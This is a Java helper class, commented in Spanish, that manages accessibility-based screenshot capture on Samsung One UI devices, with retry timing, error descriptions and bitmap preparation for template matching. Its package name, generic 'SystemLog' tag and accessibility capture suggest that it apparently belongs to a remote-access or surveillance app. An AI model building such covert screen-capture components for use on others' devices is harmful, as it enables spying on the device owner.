package com.etechd.l3mon;

import android.graphics.Bitmap;
import android.os.Build;
import android.util.Log;

import java.util.Locale;

/**
 * Ajustes para capturas en Samsung One UI (límites de takeScreenshot, reintentos, intervalo).
 */
public final class ScreenshotCaptureHelper {
    private static final String TAG = "SystemLog";

    /** {@link android.accessibilityservice.AccessibilityService#TAKE_SCREENSHOT_INTERNAL_ERROR} */
    private static final int ERROR_INTERNAL = 3;
    /** {@link android.accessibilityservice.AccessibilityService#TAKE_SCREENSHOT_INTERVAL_TIME_SHORT} */
    private static final int ERROR_INTERVAL_SHORT = 5;

    private static volatile long lastCaptureFinishedAt = 0L;

    private ScreenshotCaptureHelper() {
    }

    public static boolean isSamsungDevice() {
        String manufacturer = Build.MANUFACTURER != null
                ? Build.MANUFACTURER.toLowerCase(Locale.ROOT)
                : "";
        return manufacturer.contains("samsung");
    }

    /** One UI: Samsung impone pausa mínima entre capturas por accesibilidad. */
    public static long minIntervalBetweenCapturesMs() {
        return isSamsungDevice() ? 2000L : 0L;
    }

    public static long msUntilNextCaptureAllowed() {
        long minInterval = minIntervalBetweenCapturesMs();
        if (minInterval <= 0L) {
            return 0L;
        }
        long elapsed = System.currentTimeMillis() - lastCaptureFinishedAt;
        if (elapsed >= minInterval) {
            return 0L;
        }
        return minInterval - elapsed;
    }

    public static void markCaptureFinished() {
        lastCaptureFinishedAt = System.currentTimeMillis();
    }

    public static int maxCaptureAttempts() {
        return isSamsungDevice() ? 4 : 1;
    }

    public static boolean shouldRetryCapture(int errorCode, int attempt) {
        if (attempt + 1 >= maxCaptureAttempts()) {
            return false;
        }
        if (!isSamsungDevice()) {
            return false;
        }
        return errorCode == ERROR_INTERNAL
                || errorCode == ERROR_INTERVAL_SHORT
                || errorCode == 1;
    }

    public static long retryDelayMs(int errorCode) {
        if (errorCode == ERROR_INTERVAL_SHORT) {
            return Math.max(minIntervalBetweenCapturesMs(), 2000L);
        }
        if (errorCode == ERROR_INTERNAL) {
            return 900L;
        }
        return 600L;
    }

    public static String describeCaptureError(int errorCode) {
        switch (errorCode) {
            case 1:
                return "sin_acceso_accesibilidad";
            case 2:
                return "ventana_segura";
            case ERROR_INTERNAL:
                return "error_interno";
            case 4:
                return "pantalla_invalida";
            case ERROR_INTERVAL_SHORT:
                return "intervalo_corto";
            default:
                return "codigo_" + errorCode;
        }
    }

    /** Copia software para plantillas; en Samsung el buffer hardware a veces falla al comparar. */
    public static Bitmap prepareForMatching(Bitmap bitmap) {
        if (bitmap == null) {
            return null;
        }
        if (bitmap.getConfig() == Bitmap.Config.ARGB_8888 && !bitmap.isRecycled()) {
            return bitmap;
        }
        try {
            Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
            if (copy != null && copy != bitmap) {
                bitmap.recycle();
            }
            return copy;
        } catch (Exception e) {
            Log.e(TAG, "prepareForMatching: " + e.getMessage());
            return bitmap;
        }
    }

    public static void logCaptureContext(String phase) {
        if (!isSamsungDevice()) {
            return;
        }
        Log.i(TAG, "Screenshot One UI " + phase
                + " sdk=" + Build.VERSION.SDK_INT
                + " model=" + Build.MODEL);
    }
}
